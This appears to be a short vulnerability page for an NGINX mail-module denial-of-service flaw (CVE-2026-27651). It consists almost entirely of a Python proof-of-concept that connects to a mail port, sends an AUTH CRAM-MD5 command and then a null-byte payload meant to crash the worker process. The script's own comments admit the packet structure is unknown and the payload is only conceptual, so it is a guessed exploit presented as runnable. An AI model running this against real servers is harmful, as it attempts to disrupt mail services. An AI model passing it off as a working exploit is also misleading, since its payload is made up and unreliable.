CVE-2026-27651 NGINX邮件模块拒绝服务漏洞

import socket # PoC for CVE-2026-27651 # This script attempts to trigger the crash by interacting with the mail service # Target: NGINX with ngx_mail_auth_http_module enabled def send_exploit(target_ip, target_port): try: # Establish connection to the mail service (e.g., POP3/IMAP/SMTP) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Receive initial banner banner = s.recv(1024) print(f"Banner: {banner.decode()}") # Attempt AUTH CRAM-MD5 (Trigger condition 1) payload = b"AUTH CRAM-MD5\r\n" s.send(payload) response = s.recv(1024) print(f"Response: {response.decode()}") # Simulate the specific malicious request sequence that causes # the worker process to terminate when Auth-Wait is expected. # Note: The exact packet structure depends on the undisclosed details. # This is a conceptual representation. mal_payload = b"\x00\x00\x00\x00\x00\x00\x00\x00\r\n" s.send(mal_payload) s.close() print("Payload sent. Check if the worker process crashed.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": target = "127.0.0.1" port = 110 # POP3 port send_exploit(target, port)